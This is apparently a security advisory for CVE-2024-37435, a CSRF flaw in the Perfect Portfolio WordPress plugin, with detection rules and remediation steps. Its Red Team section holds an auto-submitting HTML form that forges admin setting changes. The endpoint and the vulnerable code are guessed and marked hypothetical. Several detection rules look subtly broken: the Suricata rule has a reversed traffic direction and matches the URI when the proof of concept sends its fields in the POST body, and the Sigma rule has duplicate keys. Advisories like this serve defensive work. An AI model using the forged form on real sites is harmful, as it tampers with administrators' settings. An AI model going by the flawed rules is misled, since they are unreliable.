CVE-2024-37435

Executive Summary

CVE-2024-37435 is a Cross-Site Request Forgery (CSRF) vulnerability in the Perfect Portfolio WordPress plugin by Rarathemes, affecting versions up to and including 1.2.0. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or triggering state-changing operations, without their consent. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood in the wild. However, given the lack of a patch and the plugin’s presence in the WordPress ecosystem, it poses a risk to sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No official patch has been released, and the vendor’s status is unknown. Users should consider disabling or removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the CSRF.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Limited ability to modify settings or data.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for social engineering attacks increase the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the Perfect Portfolio plugin’s administrative interface. The plugin fails to implement proper CSRF tokens or nonces on state-changing requests (e.g., saving settings, updating portfolio items). An attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, triggers a forged request to the WordPress admin area. This request can modify plugin configurations, delete portfolio entries, or perform other actions without the admin’s knowledge.

The attack flow:

1. Attacker identifies a target site running Perfect Portfolio <= 1.2.0.
2. Attacker crafts a CSRF payload (e.g., an image tag or form) that targets a sensitive endpoint.
3. Attacker lures an authenticated admin to visit the malicious page.
4. The admin’s browser sends the forged request with their session cookies.
5. The plugin processes the request, believing it is legitimate.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code remains unchanged. The issue is the absence of CSRF protection (nonces) in the plugin’s admin functions. A patched version would include WordPress nonce verification using check_admin_referer() or wp_verify_nonce().

Vulnerable code example (hypothetical):

function save_portfolio_settings() {
    update_option('portfolio_options', $_POST['options']);
}

Patched code example:

function save_portfolio_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'portfolio_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('portfolio_options', $_POST['options']);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Perfect Portfolio <= 1.2.0.
• Authenticated admin session (victim).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-post.php?action=save_portfolio_settings).
2. Create a malicious HTML page that auto-submits a form to the endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="save_portfolio_settings">
    <input type="hidden" name="options[setting1]" value="malicious_value">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Host the page and send the link to the victim (e.g., via email or social engineering).
4. When the victim visits the page, the form auto-submits, changing the plugin settings.

Blue Team

Detection & Prevention:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with unexpected parameters.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to detect CSRF patterns.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=save_portfolio_settings or similar.
• Logs: WordPress debug logs showing unexpected setting changes.
• File: Presence of malicious HTML files on the server (if attacker uploads them).
• User Agent: Unusual user agents in admin area requests.

Detection Engineering

YARA Rule

rule CVE_2024_37435_CSRF {
    meta:
        description = "Detects CSRF attempts against Perfect Portfolio plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37435"
    strings:
        $action = "save_portfolio_settings"
        $nonce_missing = "_wpnonce" nocase
    condition:
        $action and not $nonce_missing
}

Sigma Rule

title: CSRF Attempt Against Perfect Portfolio Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin-post.php with missing nonce
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37435
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-post.php
        cs-uri-query|contains: action=save_portfolio_settings
    filter:
        cs-uri-query|contains: _wpnonce
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37435 CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=save_portfolio_settings"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove the plugin if not essential.
3. Implement CSRF protection manually by adding nonce checks to the plugin’s admin functions (if you have development resources).

Long-term Mitigation:

• Monitor the vendor’s website for updates.
• Use a Web Application Firewall (WAF) with CSRF rules.
• Enforce strict Content Security Policy (CSP) headers.
• Educate users about phishing and social engineering.

Workaround:

• Add a custom plugin or mu-plugin that adds nonce verification to all admin-post.php actions.

Valters IT – DevSecOps & Cyber Threat Intelligence